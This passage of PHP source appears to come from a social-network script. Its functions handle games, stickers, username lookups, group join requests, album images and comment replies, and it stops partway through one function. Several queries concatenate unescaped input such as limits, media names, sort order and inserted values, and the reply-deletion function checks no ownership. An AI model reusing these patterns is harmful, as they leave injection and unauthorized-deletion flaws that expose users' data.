function Wo_LastPlay($id) {
    global $wo, $sqlConnect;
    $data = array();
    if ($wo["loggedin"] == false) {
        return false;
    }
    if (empty($id) or !is_numeric($id) or $id < 1) {
        return false;
    }
    $id      = Wo_Secure($id);
    $user_id = Wo_Secure($wo["user"]["user_id"]);
    $query   = mysqli_query($sqlConnect, "SELECT `last_play` FROM " . T_GAMES_PLAYERS . " WHERE `game_id` = {$id} AND `user_id` = {$user_id} AND `active` = '1' ");
    if (mysqli_num_rows($query)) {
        $fetched_data = mysqli_fetch_assoc($query);
        return $fetched_data["last_play"];
    }
    return false;
}
function Wo_GetAllGames($limit = 5, $after = 0) {
    global $wo, $sqlConnect;
    $data      = array();
    $query_one = " SELECT `id` FROM " . T_GAMES;
    if (!empty($after) && is_numeric($after) && $after > 0) {
        $query_one .= " WHERE `id` < " . Wo_Secure($after);
    }
    $query_one .= " ORDER BY `id` DESC";
    if (isset($limit) and !empty($limit)) {
        $query_one .= " LIMIT {$limit}";
    }
    $sql = mysqli_query($sqlConnect, $query_one);
    if (mysqli_num_rows($sql)) {
        while ($fetched_data = mysqli_fetch_assoc($sql)) {
            $fetched_data            = Wo_GameData($fetched_data["id"]);
            $fetched_data["players"] = Wo_CountGamePlayers($fetched_data["id"]);
            $data[]                  = $fetched_data;
        }
    }
    return $data;
}
function Wo_AddGame($data = array()) {
    global $wo, $sqlConnect;
    if ($wo["loggedin"] == false) {
        return false;
    }
    if (empty($data)) {
        return false;
    }
    $fields = "`" . implode("`, `", array_keys($data)) . "`";
    $data   = '\'' . implode('\', \'', $data) . '\'';
    $query  = mysqli_query($sqlConnect, "INSERT INTO " . T_GAMES . " ({$fields}) VALUES ({$data})");
    if ($query) {
        return true;
    } else {
        return false;
    }
}
function Wo_GetAllGifts($limit = 5, $after = 0) {
    global $wo, $sqlConnect;
    $data      = array();
    $query_one = " SELECT * FROM " . T_GIFTS;
    if (!empty($after) && is_numeric($after) && $after > 0) {
        $query_one .= " WHERE `id` < " . Wo_Secure($after);
    }
    $query_one .= " ORDER BY `id` DESC";
    if (isset($limit) and !empty($limit)) {
        $query_one .= " LIMIT {$limit}";
    }
    $sql = mysqli_query($sqlConnect, $query_one);
    if (mysqli_num_rows($sql)) {
        while ($fetched_data = mysqli_fetch_assoc($sql)) {
            $data[] = $fetched_data;
        }
    }
    return $data;
}
function Wo_GetAllStickers($limit = 5, $after = 0) {
    global $wo, $sqlConnect;
    $data      = array();
    $query_one = " SELECT * FROM " . T_STICKERS;
    if (!empty($after) && is_numeric($after) && $after > 0) {
        $query_one .= " WHERE `id` < " . Wo_Secure($after);
    }
    $query_one .= " ORDER BY `id` DESC";
    if (isset($limit) and !empty($limit)) {
        $query_one .= " LIMIT {$limit}";
    }
    $sql = mysqli_query($sqlConnect, $query_one);
    if (mysqli_num_rows($sql)) {
        while ($fetched_data = mysqli_fetch_assoc($sql)) {
            $data[] = $fetched_data;
        }
    }
    return $data;
}
function Wo_IsPlayingGame($id) {
    global $wo, $sqlConnect;
    $data = array();
    if ($wo["loggedin"] == false) {
        return false;
    }
    if (empty($id) or !is_numeric($id) or $id < 1) {
        return false;
    }
    $id      = Wo_Secure($id);
    $user_id = Wo_Secure($wo["user"]["user_id"]);
    $query   = mysqli_query($sqlConnect, "SELECT COUNT(`id`) AS count FROM " . T_GAMES_PLAYERS . " WHERE `game_id` = {$id} AND `user_id` = {$user_id} AND `active` = '1' ");
    if (mysqli_num_rows($query)) {
        $fetched_data = mysqli_fetch_assoc($query);
        if ($fetched_data["count"] > 0) {
            return true;
        }
    }
    return false;
}
function Wo_AddPlayGame($id) {
    global $wo, $sqlConnect;
    $data = array();
    if ($wo["loggedin"] == false) {
        return false;
    }
    if (empty($id) or !is_numeric($id) or $id < 1) {
        return false;
    }
    $id      = Wo_Secure($id);
    $user_id = Wo_Secure($wo["user"]["user_id"]);
    $time    = time();
    if (Wo_IsPlayingGame($id) === true) {
        $query_one = mysqli_query($sqlConnect, "UPDATE " . T_GAMES_PLAYERS . " set `last_play` = {$time} WHERE `game_id` = {$id} AND `user_id` = {$user_id}");
        return false;
    }
    $query_one = mysqli_query($sqlConnect, "INSERT INTO " . T_GAMES_PLAYERS . " (`game_id`, `user_id`, `active`, `last_play`) VALUES ({$id}, {$user_id}, '1', {$time})");
    if ($query_one) {
        return true;
    }
}
function Wo_CountGamePlayers($id) {
    global $wo, $sqlConnect;
    $data = array();
    if (empty($id) or !is_numeric($id) or $id < 1) {
        return false;
    }
    $id    = Wo_Secure($id);
    $query = mysqli_query($sqlConnect, "SELECT COUNT(`id`) AS count FROM " . T_GAMES_PLAYERS . " WHERE `game_id` = {$id} AND `active` = '1'");
    if (mysqli_num_rows($query)) {
        $fetched_data = mysqli_fetch_assoc($query);
        return $fetched_data["count"];
    }
    return false;
}
function Wo_GetMyGames($limit = 0, $offset = 0) {
    global $sqlConnect, $wo;
    if ($wo["loggedin"] == false) {
        return false;
    }
    $data    = array();
    $user_id = Wo_Secure($wo["user"]["user_id"]);
    $offset_ = "";
    if (!empty($offset) && is_numeric($offset) && $offset > 0) {
        $offset_ .= " AND `id` < " . Wo_Secure($offset);
    }
    $limit_ = "";
    if (!empty($limit)) {
        $limit  = Wo_Secure($limit);
        $limit_ = " LIMIT {$limit}";
    }
    $query_text = "SELECT `game_id`,`id` FROM " . T_GAMES_PLAYERS . " WHERE `user_id` = {$user_id} $offset_ ORDER BY `last_play` DESC $limit_";
    $query_one  = mysqli_query($sqlConnect, $query_text);
    if (mysqli_num_rows($query_one)) {
        while ($fetched_data = mysqli_fetch_assoc($query_one)) {
            if (is_array($fetched_data)) {
                $game_data              = Wo_GameData($fetched_data["game_id"]);
                $game_data["offset_id"] = $fetched_data["id"];
                $data[]                 = $game_data;
            }
        }
    }
    return $data;
}
function Wo_IsNameExist($username, $active = 0) {
    global $wo, $sqlConnect;
    $data = array();
    if (empty($username)) {
        return false;
    }
    $named_files = array(
        "video-call",
        "video-call-api",
        "confirm-sms",
        "confirm-sms-password",
        "forgot-password",
        "reset-password",
        "start-up",
        "pages",
        "suggested-pages",
        "liked-pages",
        "go-pro",
        "groups",
        "suggested-groups",
        "create-group",
        "group-setting",
        "create-page",
        "page-setting",
        "post",
        "new-game",
        "saved-posts",
        "albums",
        "create-album",
        "contact-us",
        "user-activation",
        "boosted-pages",
        "boosted-posts",
        "new-product",
        "edit-product",
        "my-products",
        "site-pages",
        "blogs",
        "my-blogs",
        "create-blog",
        "read-blog",
        "edit-blog",
        "blog-category",
        "forum-members",
        "forum-members-byname",
        "forum-events",
        "forum-search",
        "forum-search-result",
        "forum-help",
        "forums",
        "forumaddthred",
        "showthread",
        "threadreply",
        "threadquote",
        "editreply",
        "deletereply",
        "mythreads",
        "mymessages",
        "edithread",
        "deletethread",
        "create-event",
        "edit-event",
        "events",
        "events-going",
        "events-interested",
        "events-past",
        "show-event",
        "events-invited",
        "my-events",
        "app-setting",
        "create-app",
        "app",
        "movies-genre",
        "movies-country",
        "watch-film",
        "advertise",
        "create-ads",
        "edit-ads",
        "chart-ads",
        "manage-ads",
        "create-status",
        "friends-nearby",
        "more-status"
    );
    $files       = scandir("sources");
    unset($files[0]);
    unset($files[1]);
    if ($username != "admin" && (in_array($username . ".php", $files) || in_array($username, $files) || in_array($username, $named_files))) {
        return array(
            true,
            "type" => "file"
        );
    }
    $active_text = "";
    if ($active == 1) {
        $active_text = "AND `active` = '1'";
    }
    $username = Wo_Secure($username);
    $query    = mysqli_query($sqlConnect, "SELECT COUNT(`user_id`) as users,`user_id` as id FROM " . T_USERS . " WHERE `username` = '{$username}' {$active_text}");
    if (mysqli_num_rows($query)) {
        $fetched_data = mysqli_fetch_assoc($query);
        if ($fetched_data["users"] == 1) {
            return array(
                true,
                "type" => "user",
                'id' => $fetched_data["id"]
            );
        }
    }
    $query = mysqli_query($sqlConnect, "SELECT COUNT(`page_id`) as pages,`page_id` as id FROM " . T_PAGES . " WHERE `page_name` = '{$username}' {$active_text}");
    if ($query != false && mysqli_num_rows($query)) {
        $fetched_data = mysqli_fetch_assoc($query);
        if ($fetched_data["pages"] == 1) {
            return array(
                true,
                "type" => "page",
                'id' => $fetched_data["id"]
            );
        }
    }
    ($query = mysqli_query($sqlConnect, "SELECT COUNT(`id`) as usergroups,`id` as id FROM " . T_GROUPS . " WHERE `group_name` = '{$username}' {$active_text}")) or die(mysqli_error($sqlConnect));
    if (mysqli_num_rows($query)) {
        $fetched_data = mysqli_fetch_assoc($query);
        if ($fetched_data["usergroups"] > 0) {
            return array(
                true,
                "type" => "group",
                'id' => $fetched_data["id"]
            );
        }
    }
    return array(
        false
    );
}
function Wo_IsPhoneExist($phone) {
    global $wo, $sqlConnect;
    $data = array();
    if (empty($phone)) {
        return false;
    }
    $phone      = Wo_Secure($phone);
    $query_text = "SELECT (SELECT COUNT(`user_id`) FROM " . T_USERS . " WHERE `phone_number` = '{$phone}') as users";
    $query      = mysqli_query($sqlConnect, $query_text);
    if (mysqli_num_rows($query)) {
        $fetched_data = mysqli_fetch_assoc($query);
        if ($fetched_data["users"] == 1) {
            return array(
                true
            );
        } else {
            return array(
                false
            );
        }
    }
    return false;
}
function Wo_GetGroupRequests($group_id) {
    global $wo, $sqlConnect;
    $data      = array();
    $group_id  = Wo_Secure($group_id);
    $user_id   = $wo["user"]["user_id"];
    $query_one = " SELECT `user_id` FROM " . T_GROUP_MEMBERS . " WHERE `group_id` = {$group_id} AND `user_id` != {$user_id} AND `active` = '0' ORDER BY `id` DESC";
    $sql       = mysqli_query($sqlConnect, $query_one);
    if (mysqli_num_rows($sql)) {
        while ($fetched_data = mysqli_fetch_assoc($sql)) {
            $data[] = Wo_UserData($fetched_data["user_id"]);
        }
    }
    return $data;
}
function Wo_GetGroupRequestsWithOffset($request = array()) {
    global $wo, $sqlConnect;
    if (empty($request) || !is_array($request) || empty($request["group_id"])) {
        return false;
    }
    $data         = array();
    $group_id     = Wo_Secure($request["group_id"]);
    $limit_query  = "";
    $offset_query = "";
    if (!empty($request["limit"])) {
        $limit_query = " LIMIT " . Wo_Secure($request["limit"]);
    }
    if (!empty($request["offset"])) {
        $offset_query = " AND `id` < '" . Wo_Secure($request["offset"]) . "' ";
    }
    $query_one = " SELECT `id`,`user_id` FROM " . T_GROUP_MEMBERS . " WHERE `group_id` = {$group_id} {$offset_query} AND `active` = '0' ORDER BY `id` DESC " . $limit_query;
    $sql       = mysqli_query($sqlConnect, $query_one);
    if (mysqli_num_rows($sql)) {
        while ($fetched_data = mysqli_fetch_assoc($sql)) {
            $new_data              = array();
            $new_data["id"]        = $fetched_data["id"];
            $new_data["user_data"] = Wo_UserData($fetched_data["user_id"]);
            $data[]                = $new_data;
        }
    }
    return $data;
}
function Wo_AcceptJoinRequest($user_id, $group_id) {
    global $wo, $sqlConnect;
    if ($wo["loggedin"] == false) {
        return false;
    }
    if (!isset($user_id) or empty($user_id) or !is_numeric($user_id) or $user_id < 1) {
        return false;
    }
    if (!isset($group_id) or empty($group_id) or !is_numeric($group_id) or $group_id < 1) {
        return false;
    }
    $group_id = Wo_Secure($group_id);
    $user_id  = Wo_Secure($user_id);
    if (Wo_IsGroupOnwer($group_id) === false) {
        return false;
    }
    if (Wo_IsJoinRequested($group_id, $user_id) === false) {
        return false;
    }
    if (Wo_IsGroupJoined($group_id, $user_id) === true) {
        return false;
    }
    $query     = "SELECT `id` FROM " . T_GROUP_MEMBERS . " WHERE `group_id` = {$group_id} AND `user_id` = {$user_id} AND `active` = '0'";
    $sql_query = mysqli_query($sqlConnect, $query);
    if (mysqli_num_rows($sql_query) == 0) {
        return false;
    }
    $query = mysqli_query($sqlConnect, "UPDATE " . T_GROUP_MEMBERS . " SET `active` = '1' WHERE `user_id` = {$user_id} AND `group_id` = {$group_id} AND `active` = '0'");
    if ($query) {
        $group                   = Wo_GroupData($group_id);
        $notification_data_array = array(
            "recipient_id" => $user_id,
            "notifier_id" => $group["user_id"],
            "type" => "accepted_join_request",
            "group_id" => $group_id,
            "url" => "index.php?link1=timeline&u=" . $group["group_name"]
        );
        Wo_RegisterNotification($notification_data_array);
        return true;
    }
}
function Wo_DeleteJoinRequest($user_id, $group_id) {
    global $wo, $sqlConnect;
    if ($wo["loggedin"] == false) {
        return false;
    }
    if (!isset($user_id) or empty($user_id) or !is_numeric($user_id) or $user_id < 1) {
        return false;
    }
    if (!isset($group_id) or empty($group_id) or !is_numeric($group_id) or $group_id < 1) {
        return false;
    }
    $group_id = Wo_Secure($group_id);
    $user_id  = Wo_Secure($user_id);
    if (Wo_IsGroupOnwer($group_id) === false) {
        return false;
    }
    if (Wo_IsJoinRequested($group_id, $user_id) === false) {
        return false;
    }
    if (Wo_IsGroupJoined($group_id, $user_id) === true) {
        return false;
    }
    $query     = "SELECT `id` FROM " . T_GROUP_MEMBERS . " WHERE `group_id` = {$group_id} AND `user_id` = {$user_id} AND `active` = '0'";
    $sql_query = mysqli_query($sqlConnect, $query);
    if (mysqli_num_rows($sql_query) == 0) {
        return false;
    }
    $query = mysqli_query($sqlConnect, "DELETE FROM " . T_GROUP_MEMBERS . " WHERE `user_id` = {$user_id} AND `group_id` = {$group_id} AND `active` = '0'");
    if ($query) {
        return true;
    }
}
function Wo_CountGroupRequests($group_id) {
    global $wo, $sqlConnect;
    $data = array();
    if (empty($group_id) or !is_numeric($group_id) or $group_id < 1) {
        return false;
    }
    $group_id = Wo_Secure($group_id);
    $user_id  = $wo["user"]["user_id"];
    $query    = mysqli_query($sqlConnect, "SELECT COUNT(`id`) AS count FROM " . T_GROUP_MEMBERS . " WHERE `group_id` = {$group_id} AND `user_id` != {$user_id} AND `active` = '0'");
    if (mysqli_num_rows($query)) {
        $fetched_data = mysqli_fetch_assoc($query);
        return $fetched_data["count"];
    }
    return false;
}
function Wo_RegisterAlbumMedia($id, $media, $parent_id = 0) {
    global $wo, $sqlConnect;
    if (empty($id) or !is_numeric($id) or $id < 1) {
        return false;
    }
    if (empty($media)) {
        return false;
    }
    if (!empty($parent_id) && is_numeric($parent_id) && $parent_id > 0) {
        $parent_id = Wo_Secure($parent_id);
    }
    $query_one = mysqli_query($sqlConnect, "INSERT INTO " . T_ALBUMS_MEDIA . " (`post_id`,`image`,`parent_id`) VALUES ({$id}, '{$media}','{$parent_id}')");
    if ($query_one) {
        return true;
    }
}
function Wo_GetAlbumPhotos($post_id) {
    global $wo, $sqlConnect;
    $data        = array();
    $post_id     = Wo_Secure($post_id);
    $query_one   = "SELECT `id`,`image`,`post_id`,`parent_id` FROM " . T_ALBUMS_MEDIA . " WHERE `post_id` = {$post_id} ORDER BY `id` DESC";
    $sql         = mysqli_query($sqlConnect, $query_one);
    $query_2     = "SELECT `id`,`image`,`post_id`,`parent_id` FROM " . T_ALBUMS_MEDIA . " WHERE `parent_id` = {$post_id} ORDER BY `id` DESC";
    $sql2        = mysqli_query($sqlConnect, $query_2);
    $images_data = array();
    if (mysqli_num_rows($sql2)) {
        while ($f_data = mysqli_fetch_assoc($sql2)) {
            $images_data[] = $f_data;
        }
    }
    if (mysqli_num_rows($sql)) {
        while ($fetched_data = mysqli_fetch_assoc($sql)) {
            foreach ($images_data as $key => $value) {
                if ($value["image"] == $fetched_data["image"]) {
                    $fetched_data["parent_id"] = $value["post_id"];
                }
            }
            $explode2                  = @end(explode(".", $fetched_data["image"]));
            $explode3                  = @explode(".", $fetched_data["image"]);
            $fetched_data["image_org"] = $explode3[0] . "_small." . $explode2;
            $fetched_data["image"]     = Wo_GetMedia($fetched_data["image"]);
            $data[]                    = $fetched_data;
        }
    }
    return $data;
}
function Wo_CountAlbumImages($post_id) {
    global $wo, $sqlConnect;
    if (empty($post_id) || !is_numeric($post_id) || $post_id < 1) {
        return false;
    }
    $post_id   = Wo_Secure($post_id);
    $query_one = "SELECT COUNT(`id`) as count FROM " . T_ALBUMS_MEDIA . " WHERE `post_id` = {$post_id} ORDER BY `id` DESC";
    $sql       = mysqli_query($sqlConnect, $query_one);
    if (mysqli_num_rows($sql)) {
        $fetched_data = mysqli_fetch_assoc($sql);
        return $fetched_data["count"];
    }
    return false;
}
function Wo_CountUserAlbums($user_id) {
    global $wo, $sqlConnect;
    if (empty($user_id) || !is_numeric($user_id) || $user_id < 1) {
        return false;
    }
    $user_id   = Wo_Secure($user_id);
    $query_one = "SELECT COUNT(`id`) as count FROM " . T_POSTS . " WHERE `user_id` = {$user_id} AND `album_name` <> '' ORDER BY `id` DESC";
    $sql       = mysqli_query($sqlConnect, $query_one);
    if (mysqli_num_rows($sql)) {
        $fetched_data = mysqli_fetch_assoc($sql);
        return $fetched_data["count"];
    }
    return false;
}
function Wo_DeleteImageFromAlbum($post_id, $id) {
    global $wo, $sqlConnect;
    if ($wo["loggedin"] == false) {
        return false;
    }
    if (empty($post_id) || !is_numeric($post_id) || $post_id < 1) {
        return false;
    }
    if (empty($id) || !is_numeric($id) || $id < 1) {
        return false;
    }
    if (Wo_IsPostOnwer($post_id, $wo["user"]["user_id"]) === false) {
        return false;
    }
    $id      = Wo_Secure($id);
    $post_id = Wo_Secure($post_id);
    $query_2 = mysqli_query($sqlConnect, "SELECT * FROM " . T_ALBUMS_MEDIA . " WHERE `post_id` = {$post_id} AND `id` = {$id}");
    if (mysqli_num_rows($query_2)) {
        $fetched_data = mysqli_fetch_assoc($query_2);
        $image        = $fetched_data["image"];
        $query        = mysqli_query($sqlConnect, "SELECT * FROM " . T_ALBUMS_MEDIA . " WHERE `parent_id` = {$post_id} AND `image` LIKE '%{$image}%'");
        if (mysqli_num_rows($query)) {
            $fetched_data_2 = mysqli_fetch_assoc($query);
            $delete_post    = Wo_DeletePost($fetched_data_2["post_id"]);
            mysqli_query($sqlConnect, "DELETE FROM " . T_ALBUMS_MEDIA . " WHERE `parent_id` = {$post_id} AND `image` LIKE '%{$image}%'");
        }
        $explode2 = @end(explode(".", $fetched_data["image"]));
        $explode3 = @explode(".", $fetched_data["image"]);
        $media_2  = $explode3[0] . "_small." . $explode2;
        @unlink(trim($media_2));
        @unlink($fetched_data["image"]);
        $delete_from_s3 = Wo_DeleteFromToS3($media_2);
        $delete_from_s3 = Wo_DeleteFromToS3($fetched_data["image"]);
    }
    $delete_query_2 = mysqli_query($sqlConnect, "SELECT `post_id` FROM " . T_ALBUMS_MEDIA . " WHERE `post_id` = {$post_id}");
    if (mysqli_num_rows($delete_query_2) == 1) {
        $delete_post = Wo_DeletePost($post_id);
    }
    $delete_query = mysqli_query($sqlConnect, "DELETE FROM " . T_ALBUMS_MEDIA . " WHERE `post_id` = {$post_id} AND `id` = {$id}");
    if ($delete_query) {
        $delete_query_2 = mysqli_query($sqlConnect, "SELECT `id` FROM " . T_ALBUMS_MEDIA . " WHERE `post_id` = {$post_id}");
        if (mysqli_num_rows($delete_query_2) == 0) {
            $delete_post = Wo_DeletePost($post_id);
        }
        return true;
    }
}
function Wo_AlbumImageData($data = array()) {
    global $wo, $sqlConnect;
    if (!empty($data["id"])) {
        if (is_numeric($data["id"])) {
            $id = Wo_Secure($data["id"]);
        }
    }
    $order_by = "";
    if (!empty($data["after_image_id"]) && is_numeric($data["after_image_id"])) {
        $data["after_image_id"] = Wo_Secure($data["after_image_id"]);
        $subquery               = " `id` <> " . $data["after_image_id"] . " AND `id` < " . $data["after_image_id"];
        $order_by               = "DESC";
    } elseif (!empty($data["before_image_id"]) && is_numeric($data["before_image_id"])) {
        $data["before_image_id"] = Wo_Secure($data["before_image_id"]);
        $subquery                = " `id` <> " . $data["before_image_id"] . " AND `id` > " . $data["before_image_id"];
        $order_by                = "ASC";
    } else {
        $subquery = " `id` = '{$id}'";
    }
    if (!empty($data["post_id"]) && is_numeric($data["post_id"])) {
        $data["post_id"] = Wo_Secure($data["post_id"]);
        $subquery .= " AND `post_id` = " . $data["post_id"];
    }
    $query_one = "SELECT * FROM " . T_ALBUMS_MEDIA . " WHERE $subquery ORDER by `id` {$order_by}";
    $sql       = mysqli_query($sqlConnect, $query_one);
    if (mysqli_num_rows($sql)) {
        $fetched_data = mysqli_fetch_assoc($sql);
        if (!empty($fetched_data)) {
            $fetched_data["image_org"] = Wo_GetMedia($fetched_data["image"]);
        }
        return $fetched_data;
    }
    return false;
}
function Wo_GetCommentReplies($comment_id = 0, $limit = 5, $order_by = "ASC") {
    global $sqlConnect, $wo;
    if (empty($comment_id) || !is_numeric($comment_id) || $comment_id < 0) {
        return false;
    }
    if ($wo["loggedin"] == false) {
        return false;
    }
    $logged_user_id = Wo_Secure($wo["user"]["user_id"]);
    $comment_id     = Wo_Secure($comment_id);
    $data           = array();
    $query          = "SELECT `id` FROM " . T_COMMENTS_REPLIES . " WHERE `comment_id` = {$comment_id} AND `user_id` NOT IN (SELECT `blocked` FROM " . T_BLOCKS . " WHERE `blocker` = '{$logged_user_id}') AND `user_id` NOT IN (SELECT `blocker` FROM " . T_BLOCKS . " WHERE `blocked` = '{$logged_user_id}') ORDER BY `id` {$order_by}";
    if (($comments_num = Wo_CountCommentReplies($comment_id)) > $limit) {
        $query .= " LIMIT " . ($comments_num - $limit) . ", {$limit} ";
    }
    $query_one = mysqli_query($sqlConnect, $query);
    if (mysqli_num_rows($query_one)) {
        while ($fetched_data = mysqli_fetch_assoc($query_one)) {
            $data[] = Wo_GetCommentReply($fetched_data["id"]);
        }
    }
    return $data;
}
function Wo_GetCommentReply($reply_id = 0) {
    global $wo, $sqlConnect;
    if (empty($reply_id) || !is_numeric($reply_id) || $reply_id < 0) {
        return false;
    }
    $reply_id  = Wo_Secure($reply_id);
    $query_one = mysqli_query($sqlConnect, "SELECT * FROM " . T_COMMENTS_REPLIES . " WHERE `id` = {$reply_id} ");
    if (mysqli_num_rows($query_one)) {
        $fetched_data = mysqli_fetch_assoc($query_one);
        if (!empty($fetched_data["page_id"])) {
            $fetched_data["publisher"] = Wo_PageData($fetched_data["page_id"]);
            $fetched_data["url"]       = Wo_SeoLink("index.php?link1=timeline&u=" . $fetched_data["publisher"]["page_name"]);
            if ($fetched_data["publisher"]["user_id"] != $fetched_data["user_id"] && !Wo_IsPageAdminExists($fetched_data["user_id"], $fetched_data["page_id"])) {
                $fetched_data["publisher"] = Wo_UserData($fetched_data["user_id"]);
                $fetched_data["url"]       = Wo_SeoLink("index.php?link1=timeline&u=" . $fetched_data["publisher"]["username"]);
            }
        } else {
            $fetched_data["publisher"] = Wo_UserData($fetched_data["user_id"]);
            $fetched_data["url"]       = Wo_SeoLink("index.php?link1=timeline&u=" . $fetched_data["publisher"]["username"]);
        }
        $fetched_data["Orginaltext"]         = Wo_EditMarkup($fetched_data["text"], true, true, true, 0, 0, $reply_id);
        $fetched_data["Orginaltext"]         = str_replace("<br>", "\n", $fetched_data["Orginaltext"]);
        $fetched_data["text"]                = Wo_Markup($fetched_data["text"], true, true, true, 0, 0, $reply_id);
        $fetched_data["text"]                = Wo_Emo($fetched_data["text"]);
        $fetched_data["onwer"]               = false;
        $fetched_data["post_onwer"]          = false;
        $fetched_data["comment_likes"]       = Wo_CountCommentReplyLikes($fetched_data["id"]);
        $fetched_data["comment_wonders"]     = Wo_CountCommentReplyWonders($fetched_data["id"]);
        $fetched_data["is_comment_wondered"] = false;
        $fetched_data["is_comment_liked"]    = false;
        if ($wo["loggedin"] == true) {
            $fetched_data["onwer"]               = $fetched_data["publisher"]["user_id"] == $wo["user"]["user_id"] ? true : false;
            $fetched_data["is_comment_wondered"] = Wo_IsCommentReplyWondered($fetched_data["id"], $wo["user"]["user_id"]) ? true : false;
            $fetched_data["is_comment_liked"]    = Wo_IsCommentReplyLiked($fetched_data["id"], $wo["user"]["user_id"]) ? true : false;
        }
        if ($wo["config"]["second_post_button"] == "reaction") {
            $fetched_data["reaction"] = Wo_GetPostReactionsTypes($fetched_data["id"], "replay");
        }
        return $fetched_data;
    }
    return false;
}
function Wo_CountCommentReplies($comment_id = "") {
    global $sqlConnect;
    if (empty($comment_id) || !is_numeric($comment_id) || $comment_id < 0) {
        return false;
    }
    $comment_id = Wo_Secure($comment_id);
    $query      = mysqli_query($sqlConnect, "SELECT COUNT(`id`) AS `replies` FROM " . T_COMMENTS_REPLIES . " WHERE `comment_id` = {$comment_id} ");
    if (mysqli_num_rows($query)) {
        $fetched_data = mysqli_fetch_assoc($query);
        return $fetched_data["replies"];
    }
    return false;
}
function Wo_DeleteCommentReply($comment_id = "") {
    global $wo, $sqlConnect;
    if ($comment_id < 0 || empty($comment_id) || !is_numeric($comment_id)) {
        return false;
    }
    if ($wo["loggedin"] == false) {
        return false;
    }
    $comment_id   = Wo_Secure($comment_id);
    $query_delete = mysqli_query($sqlConnect, "DELETE FROM " . T_COMMENTS_REPLIES . " WHERE `id` = {$comment_id}");
    $query_delete .= mysqli_query($sqlConnect, "DELETE FROM " . T_COMMENT_REPLIES_WONDERS . " WHERE `reply_id` = {$comment_id}");
    $query_delete .= mysqli_query($sqlConnect, "DELETE FROM " . T_COMMENT_REPLIES_LIKES . " WHERE `reply_id` = {$comment_id}");
    $query_delete .= mysqli_query($sqlConnect, "DELETE FROM " . T_REACTIONS . " WHERE `replay_id` = '{$comment_id}'");
    if ($query_delete) {
        return true;
    }
}
function Wo_RegisterCommentReply($data = array()) {
    global $sqlConnect, $wo, $db;
    if ($wo["loggedin"] == false) {
        return false;
    }
    if (empty($data["comment_id"]) || !is_numeric($data["comment_id"]) || $data["comment_id"] < 0) {
        return false;
    }
    if (empty($data["text"]) && empty($data["c_file"])) {
        return false;
    }
    if (empty($data["user_id"]) || !is_numeric($data["user_id"]) || $data["user_id"] < 0) {
        return false;
    }
    if (!empty($data["page_id"])) {
        if (Wo_IsPageOnwer($data["page_id"]) === false) {
            $data["page_id"] = 0;
        }
    }
    if (!empty($data["text"])) {
        if ($wo["config"]["maxCharacters"] > 0) {
            if (strlen($data["text"]) > $wo["config"]["maxCharacters"]) {
                return false;
            }
        }
        $link_regex = "/(http\:\/\/|https\:\/\/|www\.)([^\ ]+)/i";
        $i          = 0;
        preg_match_all($link_regex, $data["text"], $matches);
        foreach ($matches[0] as $match) {
            $match_url    = strip_tags($match);
            $syntax       = "[a]" . urlencode($match_url) . "[/a]";
            $data["text"] = str_replace($match, $syntax, $data["text"]);
        }
        $mention_regex = "/@([A-Za-z0-9_]+)/i";
        preg_match_all($mention_regex, $data["text"], $matches);
        foreach ($matches[1] as $match) {
            $match         = Wo_Secure($match);
            $match_user    = Wo_UserData(Wo_UserIdFromUsername($match));
            $match_search  = "@" . $match;
            $match_replace = "@[" . $match_user["user_id"] . "]";
            if (isset($match_user["user_id"])) {
                $data["text"] = str_replace($match_search, $match_replace, $data["text"]);
                $mentions[]   = $match_user["user_id"];
            }
        }
    }
    $hashtag_regex = '/#([^`~!@$%^&*\#()\-+=\\|\/\.,<>?\'\":;{}\[\]* ]+)/i';
    preg_match_all($hashtag_regex, $data["text"], $matches);
    foreach ($matches[1] as $match) {
        if (!is_numeric($match)) {
            $hashdata = Wo_GetHashtag($match);
            if (is_array($hashdata)) {
                $match_search  = "#" . $match;
                $match_replace = "#[" . $hashdata["id"] . "]";
                $data["text"]  = str_replace($match_search, $match_replace, $data["text"]);
                // $hashtag_query     = "UPDATE " . T_HASHTAGS . " SET `last_trend_time` = " . time() . ", `trend_use_num` = " . ($hashdata['trend_use_num'] + 1) . " WHERE `id` = " . $hashdata['id'];
                // $hashtag_sql_query = mysqli_query($sqlConnect, $hashtag_query);
            }
        }
    }
    $comment = Wo_GetPostComment($data["comment_id"]);
    $text    = "";
    $type2   = "";
    $page_id = "";
    if (!empty($data["page_id"]) && $data["page_id"] > 0) {
        $page_id = $data["page_id"];
    }
    if (isset($comment["text"]) && !empty($comment["text"])) {
        $text = substr($comment["text"], 0, 10) . "..";
    }
    $user_id = Wo_GetUserIdFromCommentId($data["comment_id"]);
    if (empty($user_id)) {
        $user_id = Wo_GetUserIdFromPageId($comment["page_id"]);
        if (empty($user_id)) {
            return false;
        }
    }
    if (!empty($page_id)) {
        $user_id = "";
    }
    if (empty($data["page_id"])) {
        $data["page_id"] = 0;
    }
    $fields                   = "`" . implode("`, `", array_keys($data)) . "`";
    $comment_data             = '\'' . implode('\', \'', $data) . '\'';
    $check_if_comment_is_spam = $db->where("text", $data["text"])->where("time", time() - 3600, ">")->getValue(T_COMMENTS_REPLIES, "COUNT(*)");
    if ($check_if_comment_is_spam >= 5) {
        return false;
    }
    $check_last_comment_exists = $db->where("text", $data["text"])->where("user_id", $data["user_id"])->where("comment_id", $data["comment_id"])->getValue(T_COMMENTS_REPLIES, "COUNT(*)");
    if ($check_last_comment_exists >= 2) {
        return false;
    }
    $query = mysqli_query($sqlConnect, "INSERT INTO  " . T_COMMENTS_REPLIES . " ({$fields}) VALUES ({$comment_data})");
    if ($query) {
        $inserted_reply_id = mysqli_insert_id($sqlConnect);
        $post_data         = Wo_PostData($comment["post_id"]);
        if ($wo["config"]["shout_box_system"] == 1 && !empty($post_data) && $post_data["postPrivacy"] == 4 && $post_data["user_id"] == $data["user_id"]) {
            $type2 = "anonymous";
        }
        $notification_data_array = array(
            "recipient_id" => $user_id,
            "page_id" => $page_id,
            "post_id" => $comment["post_id"],
            "type" => "comment_reply",
            "text" => $text,
            "type2" => $type2,
            "url" => "index.php?link1=post&id=" . $comment["post_id"] . "&ref=" . $comment["id"]
        );
        Wo_RegisterNotification($notification_data_array);
        if (isset($mentions) && is_array($mentions)) {
            foreach ($mentions as $mention) {
                $notification_data_array = array(
                    "recipient_id" => $mention,
                    "type" => "comment_reply_mention",
                    "post_id" => $comment["post_id"],
                    "text" => $text,
                    "type2" => $type2,
                    "page_id" => $page_id,
                    "url" => "index.php?link1=post&id=" . $comment["post_id"] . "&ref=" . $comment["id"]
                );
                Wo_RegisterNotification($notification_data_array);
            }
        }
        $also = array();
